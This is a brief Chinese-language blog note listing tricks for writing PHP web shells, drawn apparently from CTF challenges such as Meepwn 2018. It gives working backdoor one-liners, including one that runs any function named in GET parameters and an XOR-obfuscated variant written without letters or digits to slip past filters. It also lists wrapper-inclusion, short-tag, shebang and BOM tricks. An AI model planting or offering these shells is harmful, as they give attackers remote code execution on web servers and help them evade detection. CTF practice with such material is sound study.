记录一下phpshell的几个tip

1. Meepwn2018 的 Mapl Story 题目

使用php伪协议包含base64编码的shell代码


2. php短标签


3. 不知道叫什么


4. 不知道叫什么2

$_GET[_]($_GET[__]);


5. 不用数字和字母,使用异或之类的位预算符(Meepwn OmegaSector)

$_='$<>/' ^ '{{{{';${$_}[_](${$_}[__]);


6. 流式shell

http://www.freebuf.com/articles/web/176571.html


7. 

#!/usr/bin/php

#!/usr/bin/env php

#!/usr/bin/env -S -P/usr/local/bin:/usr/bin php

#!/usr/bin/env -S-P/usr/local/bin:/usr/bin:${PATH} php


8. BOM

https://www.leavesongs.com/PENETRATION/XDCTF-2015-WEB2-WRITEUP.html#3mime-type

你可能感兴趣的:(记录一下phpshell的几个tip)